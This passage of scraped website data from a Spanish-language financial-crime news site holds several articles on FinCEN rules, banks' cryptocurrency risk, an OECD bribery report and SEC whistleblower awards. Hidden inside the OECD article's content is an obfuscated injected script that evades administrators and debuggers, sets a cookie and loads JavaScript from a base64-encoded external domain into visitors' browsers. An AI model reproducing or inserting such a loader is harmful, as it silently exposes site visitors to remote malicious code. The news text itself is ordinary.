cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, 